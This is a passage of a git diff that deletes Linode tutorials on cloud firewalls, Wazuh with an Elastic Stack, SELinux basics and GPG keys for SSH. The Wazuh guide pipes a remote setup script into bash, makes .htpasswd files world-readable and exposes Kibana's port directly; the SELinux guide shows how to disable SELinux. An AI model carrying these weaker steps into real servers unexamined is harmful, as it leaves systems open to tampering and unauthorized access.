where some cloud-based firewalls have a major advantage over their hardware-based counterparts. Many cloud firewalls operate on a firewall-as-a-service (FWasS) model. You don’t need to perform updates because your provider handles that for you. - -If you do use a cloud-based version of a standalone firewall, be sure it’s hardened as well as updated. Disable unused services and accounts. Limit management access. Make regular backups of all configurations and databases. Securely send logs to a centralized security information and event management (SIEM) server that is itself hardened. - -## Conclusion - -Cloud-based firewalls allow fine-grained control over all your platforms and applications. With the right combination of best practices, including microsegmentation, logical rule ordering, monitoring, auditing, and updating, you can ensure equal or better protection of your resources than a conventional hardware-based firewall provides. \ No newline at end of file diff --git a/docs/guides/security/monitoring/visualize-server-security-on-centos-7-with-an-elastic-stack-and-wazuh/index.md b/docs/guides/security/monitoring/visualize-server-security-on-centos-7-with-an-elastic-stack-and-wazuh/index.md deleted file mode 100644 index 119dae0f50e..00000000000 --- a/docs/guides/security/monitoring/visualize-server-security-on-centos-7-with-an-elastic-stack-and-wazuh/index.md +++ /dev/null @@ -1,592 +0,0 @@ ---- -slug: visualize-server-security-on-centos-7-with-an-elastic-stack-and-wazuh -title: "Visualize Server Security on CentOS 7 with an Elastic Stack and Wazuh" -title_meta: "How to Visualize Server Security on CentOS 7" -description: "Learn how to use the Elastic Stack to collect, log, and visualize security data and threat alerts through Wazuh, part of OSSEC Intrusion Detection." -authors: ["Andrew Lescher"] -contributors: ["Andrew Lescher"] -published: 2017-10-17 -modified: 2019-01-31 -keywords: ["ossec", "elk stack", "elk,ossec-hids"] -tags: ["monitoring","security","lemp","centos"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Wazuh Official Documentation](https://documentation.wazuh.com/current/index.html)' - - '[OSSEC Official Documentation](http://ossec-docs.readthedocs.io/en/latest/index.html)' -dedicated_cpu_link: true -aliases: ['/security/monitoring/visualize-server-security-on-centos-7-with-an-elastic-stack-and-wazuh/','/security/visualize-server-security-on-centos-7-with-an-elastic-stack-and-wazuh/'] ---- - -![Visualize Server Security on CentOS 7 with an Elastic Stack and Wazuh](elastic-stack-security-title.jpg "Visualize Server Security on CentOS 7 with an Elastic Stack and Wazuh") - -## What are Elasticsearch, Elastic Stack, and Wazuh? - -An Elastic Stack, formerly known as an ELK Stack, is a combination of Elasticsearch, Logstash, and Kibana. In this tutorial, you will learn how to install and link together ElasticSearch, Logstash, Kibana, with Wazuh OSSEC to help monitor and visualize security threats to your machine. The resulting structure can be broken down into three core components that work with Wazuh's endpoint security: - -- **Elasticsearch** - - - The heart of the Elastic Stack, Elasticsearch provides powerful search and analytical capabilities. It stores and retrieves data collected by Logstash. - -- **Logstash** - - - Ingests data from multiple sources and passes it along to Elasticsearch which acts as a central database. - -- **Kibana** - - - A self-hosted, web-based tool which provides a multitude of methods to visualize and represent data stored in Elasticsearch. - -## What is Wazuh OSSEC - -Wazuh is an open source branch of the original [OSSEC HIDS](https://ossec.github.io/) developed for integration into the Elastic Stack. Wazuh provides the OSSEC software with the OSSEC ruleset, as well as a RESTful API Kibana plugin optimized for displaying and analyzing host IDS alerts. - -## Before You Begin - -1. Many of the steps in this guide require root privileges. Complete the sections of our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) to create a standard user account, harden SSH access and remove unnecessary network services. Use `sudo` wherever necessary. - -2. Your Linode should have at least [8GB of RAM](https://www.linode.com/pricing). While an Elastic Stack will run on less RAM, the Wazuh Manager will crash if RAM is depleted at any time during use. - -3. Add a domain zone, NS record, and A/AAA record for the domain you will use to access your Kibana installation. See the [DNS Manager](https://techdocs.akamai.com/cloud-computing/docs/dns-manager) guide for details. If you will access your Kibana instance via your Linode's IP address, you can skip this step. - -4. [Create an SSL Certificate](/cloud/guides/install-lets-encrypt-to-create-ssl-certificates/), if you will be using SSL encryption for your domain. - -5. Install NGINX or Apache. Visit our guides on how to install a LEMP or LAMP stack for CentOS for help: - - - [Install a LEMP Stack on CentOS 7 with FastCGI](/cloud/guides/lemp-stack-on-centos-7-with-fastcgi/) - - [LAMP stack on CentOS 7](/cloud/guides/how-to-install-a-lamp-stack-on-centos-7/) - -6. Configure your webserver for virtual domain hosting: - - **NGINX** - - - [How to Configure NGINX](/cloud/guides/how-to-configure-nginx/) - - **Apache** - - - [Apache Configuration Basics](/cloud/guides/apache-configuration-basics/) - -## Update System and Install Prerequisites - -1. Update system packages: - - yum update -y && yum upgrade -y - -1. Install Java 8 JDK: - - yum install java-1.8.0-openjdk.x86_64 - -1. Verify the Java installation by checking the version: - - java -version - - Your output should be similar to: - - ```output - openjdk version "1.8.0_191" - OpenJDK Runtime Environment (build 1.8.0_191-b12) - OpenJDK 64-Bit Server VM (build 25.191-b12, mixed mode) - ``` - -1. If your Linode doesn't have curl installed, install curl: - - yum install curl - -## Install Wazuh - -1. Create the `wazuh.repo` repository file and paste the text below: - - {{< file "/etc/yum.repos.d/wazuh.repo" >}} -[wazuh_repo] -gpgcheck=1 -gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH -enabled=1 -name=CentOS-$releasever - Wazuh -baseurl=https://packages.wazuh.com/3.x/yum/ -protect=1 -{{< /file >}} - -1. Install Wazuh Manager: - - yum install wazuh-manager - -1. Install Wazuh API: - - 1. Install the Node.js repository: - - curl --silent --location https://rpm.nodesource.com/setup_8.x | bash - - - 1. Install Node.js: - - yum install -y nodejs - - 1. Install Wazuh API: - - yum install wazuh-api - - {{< note respectIndent=false >}} - Python >= 2.7 is required in order to run the Wazuh API. To find out which version of Python is running on your Linode, issue the following command: - - python --version -{{< /note >}} - -## Install Elasticsearch, Logstash, and Kibana - -Install the Elastic Stack via RPM files to get the latest versions of all the software. Be sure to check the [Elastic website](https://www.elastic.co/downloads) for more recent software versions. Adjust the commands below to match. - -### Install Elasticsearch - -1. Download the Elasticsearch RPM into the `/opt` directory: - - cd /opt - curl -L -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.2.rpm - -1. Install Elasticsearch: - - rpm -i elasticsearch-6.5.2.rpm - -1. Enable the Elasticsearch service to start on system boot: - - systemctl enable elasticsearch - systemctl start elasticsearch - -1. Verify that Elasticsearch has installed and is listening on port 9200: - - curl "http://localhost:9200/?pretty" - - You should receive a similar response: - - ```output - { - "name" : "-7B24Uk", - "cluster_name" : "elasticsearch", - "cluster_uuid" : "UdLfdUOoRH2elGYckoiewQ", - "version" : { -   "number" : "6.5.2", -    "build_flavor" : "default", -   "build_type" : "rpm", -   "build_hash" : "9434bed", -   "build_date" : "2018-11-29T23:58:20.891072Z", -   "build_snapshot" : false, -   "lucene_version" : "7.5.0", -   "minimum_wire_compatibility_version" : "5.6.0", -   "minimum_index_compatibility_version" : "5.0.0" -   }, - "tagline" : "You Know, for Search" - } - ``` - -1. Load the Wazuh Elasticsearch template. Replace `exampleIP` with your Linode's public IP address: - - curl https://raw.githubusercontent.com/wazuh/wazuh/3.7/extensions/elasticsearch/wazuh-elastic6-template-alerts.json | curl -X PUT "http://exampleIP:9200/_template/wazuh" -H 'Content-Type: application/json' -d @- - - -### Install Logstash - -1. Download the Logstash RPM into the `/opt` directory: - - cd /opt - curl -L -O https://artifacts.elastic.co/downloads/logstash/logstash-6.5.2.rpm - -1. Install Logstash: - - rpm -i logstash-6.5.2.rpm - -1. Enable Logstash on system boot: - - systemctl daemon-reload - systemctl enable logstash - systemctl start logstash - -1. Download the Wazuh config file for a **single-host architecture** for Logstash: - - curl -so /etc/logstash/conf.d/01-wazuh.conf https://raw.githubusercontent.com/wazuh/wazuh/2.0/extensions/logstash/01-wazuh.conf - -1. Add the Logstash user to the `ossec` group to allow access to restricted files: - - usermod -aG ossec logstash - -**For CentOS 6 and RHEL 6 Only:** - -1. Edit `/etc/logstash/startup.options` to change the `LS_GROUP=logstash` to `LS_GROUP=ossec`: - - {{< file "/etc/logstash/startup.options" >}} -. . . -# user and group id to be invoked as -LS_USER=logstash -LS_GROUP=logstash -. . . -{{< /file >}} - -1. Update the service with the new parameters: - - /usr/share/logstash/bin/system-install - -1. Restart Logstash: - - systemctl restart logstash - -### Install Kibana - -1. Download the Kibana RPM into the `/opt` directory: - - cd /opt - curl -L -O https://artifacts.elastic.co/downloads/kibana/kibana-6.5.2-x86_64.rpm - -1. Install Kibana: - - rpm -i kibana-6.5.2-x86_64.rpm - -1. Enable Kibana on system boot: - - systemctl enable kibana - systemctl start kibana - -1. Install the Wazuh app for Kibana: - - sudo -u kibana NODE_OPTIONS="--max-old-space-size=3072" /usr/share/kibana/bin/kibana-plugin install https://packages.wazuh.com/wazuhapp/wazuhapp-3.7.1_6.5.2.zip - - The Kibana app installation process takes several minutes to complete and it may appear as though the process has stalled. - -1. By default Kibana only listens on the loopback interface. To configure it to listen on all interfaces, update the `/etc/kibana/kibana.yml` file and uncomment `server.host` and the following value: - - {{< file "/etc/kibana/kibana.yml">}} -# Specifies the address to which the Kibana server will bind. IP addresses and host names are both valid values. -# The default is 'localhost', which usually means remote machines will not be able to connect. -# To allow connections from remote users, set this parameter to a non-loopback address. -server.host: "0.0.0.0" - {{}} - - Reference the table below for information on other configurations available in the `/etc/kibana/kibana.yml` file: - - | Value | Parameter | - | :-------------: | :----------------------------------------------------------------------------------------: | - | server.port | If the default port `5601` is in use, change this value. | - | server.name | This value is used for display purposes only. Set to anything you wish, or leave it unchanged. | - | logging.dest | Specify a location to log program information. `/var/log/kibana.log` is recommended. | - - You may modify other values in this file as you see fit, but this configuration should work for most. - -1. Restart Kibana: - - systemctl restart kibana - -## Configure the Elastic Stack - -The Elastic Stack will require some tuning before it can be accessed via the Wazuh API. - -1. Enable memory locking in Elasticsearch to mitigate poor performance. Uncomment the `bootstrap.memory_lock: true` line in the `/etc/elasticsearch/elasticsearch.yml` file: - - {{< file "/etc/elasticsearch/elasticsearch.yml">}} -# ----------------------------------- Memory ----------------------------------- -# -# Lock the memory on startup: -# -bootstrap.memory_lock: true -# - {{}} - -1. Edit locked memory allocation. Follow the instructions under the appropriate init system used on your Linode: - - **SystemD** - - Edit the systemd init file and add the following line: - - {{< file "/etc/systemd/system/multi-user.target.wants/elasticsearch.service" >}} -. . . -LimitMEMLOCK=infinity -. . . -{{< /file >}} - - **System V** - - Edit the `/etc/sysconfig/elasticsearch` file. Add or change the following line: - - {{< file "/etc/sysconfig/elasticsearch" >}} -. . . -MAX_LOCKED_MEMORY=unlimited -. . . -{{< /file >}} - -1. Configure the Elasticsearch heap size based on your Linode's resources. This figure will determine how much memory Elasticsearch is allowed to consume. Keep the following rules in mind: - - - No more than 50% of available RAM - - No more than 32GB of RAM - - The `-Xmsg` and `-Xmxg` values must be the same in order to avoid performance issues. - - Open the `jvm.options` file and navigate to the block shown here: - - {{< file "/etc/elasticsearch/jvm.options" >}} -. . . -# Xms represents the initial size of total heap space -# Xmx represents the maximum size of total heap space - --Xms4g --Xmx4g -. . . -{{< /file >}} - - This configures Elasticsearch with 4GB of allotted RAM. You may also use the `M` letter to specify megabytes, `Xms4096M` in this example. View your current RAM consumption with the `htop` command. If you do not have htop installed, install it with your distribution's package manager. Allocate as much RAM as you can, up to 50% of the max, while leaving enough available for other daemon and system processes. - -1. Restart Elasticsearch for the configurations to take effect: - - systemctl daemon-reload - systemctl restart elasticsearch - -## Configure a Reverse Proxy - -A reverse proxy server allows you to secure the Kibana web interface with SSL and limit access to others. Instructions are provided for NGINX and Apache. The instructions assume you have your webserver configured to host virtual domains. - -### Set up a Reverse Proxy Server to Host Kibana as a Subdomain - -If you have SSL encryption enabled on your domain, follow the instructions in the **HTTPS** section below. If not, follow the instructions included in the **HTTP** section. Although you may skip this section if you wish to access Kibana through its server port, this approach is recommended. - -#### NGINX - -1. Navigate to your NGINX virtual host config directory. Create a new virtual host config file and name it something similar to `example.conf`. Replace `example.com` Add the contents below to this file. If you do not have a domain name available, replace the `server_name` parameter value with your Linode's external IP address: - - **HTTP** - - {{< file "/etc/nginx/conf.d/example.com.conf" >}} -server { - listen 80; - # Remove the line below if you do not have IPv6 enabled. - listen [::]:80; - server_name kibana.exampleIPorDomain; - - location / { - proxy_pass http://exampleIPorDomain:5601; - proxy_http_version 1.1; - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection 'upgrade'; - proxy_set_header Host $host; - proxy_cache_bypass $http_upgrade; - } - - auth_basic "Restricted Access"; - auth_basic_user_file /etc/nginx/htpasswd.users; -} -{{< /file >}} - - **HTTPS** - - {{< file "/etc/nginx/conf.d/example.com.conf" >}} -server { - listen 80; - # Remove the line below if you do note have IPv6 enabled. - listen [::]:80; - server_name kibana.exampleIPorDomain; - - location / { - proxy_pass http://exampleIPorDomain:5601; - proxy_http_version 1.1; - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection 'upgrade'; - proxy_set_header Host $host; - proxy_cache_bypass $http_upgrade; - } -} - -server { - listen 443 ssl; - - # Remove the line below if you do not have IPv6 enabled. - listen [::]:443 ssl; - server_name kibana.exampleIPorDomain; - - location / { - proxy_pass http://exampleIPorDomain:5601; - proxy_http_version 1.1; - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection 'upgrade'; - proxy_set_header Host $host; - proxy_cache_bypass $http_upgrade; - } - - ssl_certificate /path/to/ssl/certificate.crt; - ssl_certificate_key /path/to/ssl/certificate.key; - - auth_basic "Restricted Access"; - auth_basic_user_file /etc/nginx/.htpasswd; -} -{{< /file >}} - -1. Install `httpd-tools` if it is not already installed on your Linode: - - yum install httpd-tools - -1. Secure your Kibana site with a login page. Create a **.htpasswd** file first if you do not have one: - - touch /etc/nginx/.htpasswd - htpasswd -c /etc/nginx/.htpasswd YourNewUsername - chmod 644 /etc/nginx/.htpasswd - -1. Restart the NGINX server to load the new configuration: - - systemctl restart nginx - -### Apache - -1. In order for Apache to function as a reverse proxy, *mod_proxy* must be installed. Check that the following modules are enabled by running the `httpd -M` command: - - httpd -M - - - `proxy_module` - - `lbmethod_byrequests_module` - - `proxy_balancer_module` - - `proxy_http_module` - -1. Enable the necessary mods in Apache. Open `00-proxy.conf` and verify that the lines below are included: - - {{< file "/etc/httpd/conf.modules.d/00-proxy.conf" >}} -. . . -LoadModule proxy_module modules/mod_proxy.so -LoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so -LoadModule proxy_balancer_module modules/mod_proxy_balancer.so -LoadModule proxy_http_module modules/mod_proxy_http.so -. . . -{{< /file >}} - -1. Create a new virtual config file for the Kibana site. Add the contents below to this file. If you do not have a domain name available, replace the `server_name` parameter value with your Linode's public IP address. Replace `kibana.exampleIPorDomain` and `http://exampleIPorDomain` with your specific values: - - **HTTP** - - {{< file "/etc/httpd/sites-available/example.com.conf" >}} - - ServerName kibana.exampleIPorDomain - ProxyPreserveHost On - - ProxyPass / http://exampleIPorDomain:5601 - ProxyPassReverse / http://exampleIPorDomain:5601 - - - AuthType Basic - AuthName "Restricted Content" - AuthUserFile /etc/apache2/.htpasswd - Require valid-user - - -{{< /file >}} - - **HTTPS** - - {{< file "/etc/httpd/sites-available/example.com.conf" >}} - - ServerName kibana.exampleIPorDomain - ProxyPreserveHost On - - ProxyPass / http://exampleIPorDomain:5601 - ProxyPassReverse / http://exampleIPorDomain:5601 - - - AuthType Basic - AuthName "Restricted Content" - AuthUserFile /etc/apache2/.htpasswd - Require valid-user - - - - - AuthType Basic - AuthName "Restricted Content" - AuthUserFile /etc/apache2/.htpasswd - Require valid-user - - -{{< /file >}} - -1. Secure your Kibana site with a login page. Create a **.htpasswd** file first if you do not have one: - - touch /etc/apache2/htpasswd.users - htpasswd -c /etc/apache2/.htpasswd.users YourNewUsername - chmod 644 /etc/apache2/.htpasswd.users - -1. Restart Apache: - - systemctl restart httpd - -### Add the Kibana Subdomain to the DNS Manager - -The new Kibana subdomain will need to be configured in the Linode DNS Manager. - -1. Login to the Linode Manager and select **Domains**. Click on your domain's corresponding ellipses and select **Edit DNS Records**. Add a new A/AAA record for the subdomain. Refer to the table below for the field values. - - | Field | Value | - | :-------------: | :--------------------------------------------------: | - | Hostname | Enter your subdomain name here - ex. kibana | - | IP Address | Set this value to your Linode's external IP address. | - | TTL | Set this to 5 minutes. | - -1. Click **Save Changes**. - -## Open the Kibana Port - -Kibana's default access port, `5601`, must be opened for TCP traffic. Instructions are presented below for FirewallD, iptables, and UFW. - -**FirewallD** - - firewall-cmd --add-port=5601/tcp --permanent - firewall-cmd --reload - -1. Set SELinux to allow HTTP connections: - - setsebool -P httpd_can_network_connect 1 - -**iptables** - - iptables -A INPUT -p tcp --dport 5601 -m comment --comment "Kibana port" -j ACCEPT -{{< note >}} -To avoid losing iptables rules after a server reboot, save your rules to a file using `iptables-save`. -{{< /note >}} - -**UFW** - - ufw allow 5601/tcp comment "Kibana port" - -{{% content "cloud-firewall-shortguide" %}} - -## Connect the Elastic Stack with the Wazuh API - -Now you are ready to access the API and begin making use of your OSSEC Elastic Stack. - -1. The Wazuh API requires users to provide credentials in order to login. Navigate to `/var/ossec/api/configuration/auth`. Replace `NewUserName` with whatever user name you choose. Set a password following the system prompts: - - node htpasswd -c user NewUserName - -1. Restart the Wazuh API: - - systemctl restart wazuh-api - -1. Check the status of all daemon components and verify that they are running: - - systemctl -l status wazuh-api - systemctl -l status wazuh-manager - systemctl -l status elasticsearch - systemctl -l status logstash - systemctl -l status kibana - systemctl -l status nginx - - {{< note respectIndent=false >}} -If the Wazuh Manager fails to start and you determine the cause to be one of the OSSEC rules or decoders, disable that specific rule/decoder for now. Find the rules and decoders in the `/var/ossec/ruleset` directory. To disable, rename the file to any other file extension. -{{< /note >}} - -1. In a web browser, navigate to the Kibana homepage. If you created a subdomain for Kibana, the URL will be similar to `kibana.exampleIPorDomain`. You can also reach Kibana by navigating to your server's IP address and specifying port `5601`. Login with the credentials you setup for your Kibana site. - -1. If everything is working correctly, you should have landed on the **Discover** page. Navigate to the **Wazuh** page using the left hand side menu. You will be immediately presented with the API configuration page. Underneath the **ADD NEW API** button, enter the user credentials you created for Wazuh. For URL and Port, enter you URL or IP and `55000`, then click **SAVE**. - -## Where To Go From Here - -Your OSSEC Elastic Stack setup is now complete! At this point, you will want to customize and configure your OSSEC rules to better suit the needs of your environment. The Wazuh API contains pre-configured charts and queries, and more information on how to use them can be found in the official [Wazuh documentation](https://documentation.wazuh.com/current/user-manual/index.html). diff --git a/docs/guides/security/selinux/a-beginners-guide-to-selinux-on-centos-8/index.md b/docs/guides/security/selinux/a-beginners-guide-to-selinux-on-centos-8/index.md deleted file mode 100644 index 14b3b7b1417..00000000000 --- a/docs/guides/security/selinux/a-beginners-guide-to-selinux-on-centos-8/index.md +++ /dev/null @@ -1,231 +0,0 @@ ---- -slug: a-beginners-guide-to-selinux-on-centos-8 -title: "Getting Started with SELinux on CentOS 8" -title_meta: "A Beginner's Guide to SELinux on CentOS 8" -description: 'This guide provides a brief and basic introduction to commonly used commands and practices for SELinux system administration on CentOS 8.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-03-18 -keywords: ["Security-enhanced Linux", "secure open source", " SELinux", "CentOS8"] -bundles: ['centos-security'] -tags: ["centos","security"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Graphical Guide to Policies](https://opensource.com/business/13/11/selinux-policy-guide)' - - '[SELinux User Resources](https://selinuxproject.org/page/User_Resources)' - - '[CentOS SELinux Wiki](https://wiki.centos.org/HowTos/SELinux)' -image: Start_SELinux_CentOS8.png -relations: - platform: - key: get-started-selinux - keywords: - - distribution: CentOS 8 -aliases: ['/security/selinux/a-beginners-guide-to-selinux-on-centos-8/'] ---- - -SELinux is a Mandatory Access Control (MAC) system, developed by the NSA. SELinux was developed as a replacement for Discretionary Access Control (DAC) that ships with most Linux distributions. - -The difference between DAC and MAC is *how* users and applications gain access to machines. Traditionally, the command `sudo` gives a user the ability to heighten permissions to root-level. Root access on a DAC system gives the person or program access to all programs and files on a system. - -A person with root access should be a trusted party. But if security has been compromised, so too has the system. SELinux and MACs resolve this issue by both confining privileged processes and automating security policy creation. - -SELinux defaults to denying anything that is not explicitly allowed. SELinux has two global modes, *permissive* and *enforcing*. Permissive mode allows the system to function like a DAC system, while logging every violation to SELinux. The enforcing mode applies a strict denial of access to anything that isn't explicitly allowed. To explicitly allow certain behavior on a machine, you, as the system administrator, have to write policies that allow it. This guide provides a brief and basic introduction to commonly used commands and practices for SELinux system administration. - -## Before You Begin - -1. Ensure that you have followed the [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guides. - {{< note respectIndent=false >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. - {{< /note >}} -1. Update your system: - - sudo yum update - - {{< note respectIndent=false >}} -The Linode kernel does not support SELinux by default. However, all new Linodes running CentOS 8 use the distribution provided kernel, which has **SELinux enabled by default**. - -If your system is running a Linode kernel, you will need to change to an upstream kernel in order to use SELinux. See the [How to Change Your Linode's Kernel](https://techdocs.akamai.com/cloud-computing/docs/manage-the-kernel-on-a-compute-instance) for more steps. Once you're kernel is set to the upstream kernel, continue on with the steps in this guide. - {{< /note >}} - -## Install Supporting SELinux Packages - -In this section, you will install various SELinux packages that will help you when creating, managing, and analyzing SELinux policies. - -1. Verify which SELinux packages are installed on your system: - - sudo rpm -aq | grep selinux - - A newly deployed CentOS 8 Linode should have the following packages installed: - - ```output - libselinux-2.5-14.1.el7.x86_64 - selinux-policy-3.13.1-252.el7_7.6.noarch - selinux-policy-targeted-3.13.1-252.el7_7.6.noarch - libselinux-utils-2.5-14.1.el7.x86_64 - libselinux-python-2.5-14.1.el7.x86_64 - ``` - -1. Install the following packages and their associated dependencies: - - sudo yum install policycoreutils policycoreutils-python setools setools-console setroubleshoot - - - `policycoreuitls` and `policyoreutils-python` contain several management tools to administer your SELinux environment and policies. - - `setools` provides command line tools for working with SELinux policies. Some of these tools include, `sediff` which you can use to view differences between policies, `seinfo` a tool to view information about the components that make up SELinux policies, and `sesearch` used to search through your SELinux policies. `setools-console` consists of `sediff`, `seinfo`, and `sesearch`. You can issue the `--help` option after any of the listed tools in order to view more information about each one. - - `setroubleshoot` suite of tools help you determine why a script or file may be blocked by SELinux. - - Optionally, install `setroubleshoot-server` and `mctrans`. The `setroubleshoot-server` allows, among many other things, for email notifications to be sent from the server to notify you of any policy violations. The `mctrans` daemon translates SELinux's output to human readable text. - -## SELinux States and Modes - -### SELinux States - -When SELinux is installed on your system, it can be either *enabled* or *disabled*. By default, the CentOS 8 image provided by Linode has SELinux in an enabled state. - -- To disable SELinux, update your SELinux configuration file using the text editor of your choice. Set the `SELINUX` directive to `disabled` as shown in the example. - - ```file {title="/etc/selinux/config"} - # This file controls the state of SELinux on the system. - # SELINUX= can take one of these three values: - # enforcing - SELinux security policy is enforced. - # permissive - SELinux prints warnings instead of enforcing. - # disabled - No SELinux policy is loaded. - SELINUX=disabled - # SELINUXTYPE= can take one of three values: - # targeted - Targeted processes are protected, - # minimum - Modification of targeted policy. Only selected processes are protected. - # mls - Multi Level Security protection. - SELINUXTYPE=targeted - ``` - - {{< note respectIndent=false >}} -You can update the `SELINUX` directive with any of the available SELinux [states](#selinux-states) or [modes](#selinux-modes). - {{< /note >}} - -- Reboot your Linode for the changes to take effect: - - sudo reboot - -- Connect to your Linode via SSH (replace `192.0.2.0` with your own [Linode's IP address](https://techdocs.akamai.com/cloud-computing/docs/managing-ip-addresses-on-a-compute-instance)) and verify your SELinux installation's status: - - ssh example_user@192.0.2.0 - sudo sestatus - - Its output should display `disabled` - - {{< output >}} -SELinux status: disabled - {{}} - -### SELinux Modes - -When SELinux is enabled, it can run in either *enforcing* or *permissive* modes. - -{{< note >}} -If SELinux is currently disabled, update your SELinux configuration file with the `SELINUX` directive set to `enabled`, then reboot your system, and SSH back into your Linode. These steps are outlined in the [SELinux States](#selinux-states) section of the guide. -{{< /note >}} - - - In enforcing mode, SELinux enforces its policies on your system and denies access based on those policies. Use the following command to view SELinux policy modules currently loaded into memory: - - sudo semodule -l - - - Permissive mode does not enforce any of your SELinux policies, instead, it logs any actions that would have been denied to your `/var/log/audit/audit.log` file. - -- You can check which mode your system is running by issuing the following command: - - sudo getenforce - -- To place SELinux in permissive mode, use the following command: - - sudo setenforce 0 - - Permissive mode is useful when configuring your system, because you and your system's components can interact with your files, scripts, and programs without restriction. However, you can use audit logs and system messages to understand what would be restricted in enforcing mode. This will help you better construct the necessary policies for your system's user's and programs. - -- Use the `sealert` utility to generate a report from your audit log. The log will include information about what SELinux is preventing and how to allow the action, if desired. - - sudo sealert -a /var/log/audit/audit.log - - The output will resemble the example, however, it varies depending on the programs and configurations on your system. The example was generated using a [Linode running the Apache webserver](/cloud/guides/how-to-install-a-lamp-stack-on-centos-7/#apache) with a virtual hosts configuration. - - {{< output >}} -SELinux is preventing /usr/sbin/httpd from write access on the directory logs. - -***** Plugin httpd_write_content (92.2 confidence) suggests *************** - -If you want to allow httpd to have write access on the logs directory -Then you need to change the label on 'logs' -Do -# semanage fcontext -a -t httpd_sys_rw_content_t 'logs' -# restorecon -v 'logs' - {{}} - -- To allow `/usr/sbin/httpd` write access to the directory logs, as shown by the output, you can execute the suggested commands, `semanage fcontext -a -t httpd_sys_rw_content_t 'logs'` and `restorecon -v 'logs'`. - -## SELinux Context - -SELinux marks every single object on a machine with a *context*. Every file, user, and process has a context. The context is broken into three parts: *user*, *role*, and *type*. An SELinux policy controls which users can get which roles. Each specific role places a constraint on what type of files that user can access. When a user logs in to a system, a role is assigned to the user as seen in the `ls -Z` example, the output `unconfined_u` is a user role. - -1. Create a directory in your home folder: - - mkdir ~/example_dir - -1. Print the SELinux security context of your home folder's directories and files : - - ls -Z ~/ - - The output is similar to: - - {{< output >}} -drwxrwxr-x. example_user example_user unconfined_u:object_r:user_home_t:s0 example_dir - {{}} - - The SELinux specific information is contained in the `unconfined_u:object_r:user_home_t:s0` portion, which follows the following syntax: `user:role:type:level`. To learn more about users, roles, and related access control, see the [CentOS SELinux documentation](https://wiki.centos.org/HowTos/SELinux). - -## SELinux Boolean - -An SELinux Boolean is a variable that can be toggled on and off without needing to reload or recompile an SELinux policy. - -1. You can view the list of Boolean variables using the `getsebool -a` command. Pipe the command through `grep` to narrow down your results. - - sudo getsebool -a | grep "httpd_can" - - You will see a similar output: - - {{< output >}} -httpd_can_check_spam --> off -httpd_can_connect_ftp --> off -httpd_can_connect_ldap --> off -httpd_can_connect_mythtv --> off -httpd_can_connect_zabbix --> off -httpd_can_network_connect --> off -httpd_can_network_connect_cobbler --> off -httpd_can_network_connect_db --> off -httpd_can_network_memcache --> off -httpd_can_network_relay --> off -httpd_can_sendmail --> off - {{}} - - You can change the value of any variable using the `setsebool` command. If you set the `-P` flag, the setting will persist through reboots. If, for example, you want to allow HTTPD scripts and modules to connect to the network, update the corresponding boolean variable - - sudo setsebool -P httpd_can_network_connect ON - - When viewing a list of your boolean variables, you should now see that it is set to `ON`. - - sudo getsebool -a | grep "httpd_can" - - ```output - httpd_can_check_spam --> off - httpd_can_connect_ftp --> off - httpd_can_connect_ldap --> off - httpd_can_connect_mythtv --> off - httpd_can_connect_zabbix --> off - httpd_can_network_connect --> on - httpd_can_network_connect_cobbler --> off - httpd_can_network_connect_db --> off - httpd_can_network_memcache --> off - httpd_can_network_relay --> off - httpd_can_sendmail --> off - ``` - -### Next Steps - -This guide provides a brief and basic introduction to SELinux administration. You can now take a deeper dive into SELinux by consulting some of the resources include in the [More Information](#more-information) section of this guide. diff --git a/docs/guides/security/ssh/gpg-key-for-ssh-authentication/index.md b/docs/guides/security/ssh/gpg-key-for-ssh-authentication/index.md deleted file mode 100644 index ec304a31107..00000000000 --- a/docs/guides/security/ssh/gpg-key-for-ssh-authentication/index.md +++ /dev/null @@ -1,495 +0,0 @@ ---- -slug: gpg-key-for-ssh-authentication -title: 'How to use a GPG key for SSH authentication' -description: 'Generate a GPG key-pair, and convert it to an SSH key for authentication with your Linode.' -authors: ["Huw Evans"] -contributors: ["Huw Evans"] -published: 2016-10-03 -keywords: ["gpg", "ssh", "authentication", "ssh-agent", "gpg-agent", "yubikey", "smartcard", "ssh key"] -aliases: ['/security/authentication/gpg-key-for-ssh-authentication/','/security/gpg-key-for-ssh-authentication/'] -tags: ["ssh","security"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Securely set up smartcard](https://gist.github.com/abeluck/3383449)' - - '[Instructions for GPG 2.1](https://incenp.org/notes/2015/gnupg-for-ssh-authentication.html)' ---- - -![GPG key for SSH Authentication](How_to_use_a_GPG_key_smg.jpg) - -You may be familiar with [public key authentication](/cloud/guides/use-public-key-authentication-with-ssh/) for Secure Shell (SSH) on your Linode. But you may not have known that you can also use a GNU Privacy Guard (GPG) keypair to authenticate with SSH. - -The chief benefit of this method is that instead of having separate keys for GPG messaging and SSH authentication, they can both belong to the same GPG keyring. This configuration really shines, however, when used with a [GPG smartcard](https://en.wikipedia.org/wiki/OpenPGP_card) or [YubiKey](https://www.yubico.com/products/yubikey-hardware/), because the card/dongle can store the underlying private key and only authenticate SSH sessions when it's plugged in. WIRED reported that [engineers at Facebook use this method](http://www.wired.com/2013/10/facebook-yubikey/) for authenticating with local servers, so why shouldn't you? - -This guide will show you how to generate a GPG key, set up your computer to serve it in place of an SSH key, and put the new public key onto your server for authentication. It will also detail how to optionally move your GPG private key onto a smartcard or YubiKey to prevent authentication when the device isn't plugged into your computer. - -## Before You Begin -{{< note >}} -This guide will only work on UNIX-based (Linux & OS X) machines! The process is very complicated on Windows but may be possible with some research. -{{< /note >}} - -This guide assumes: - - - 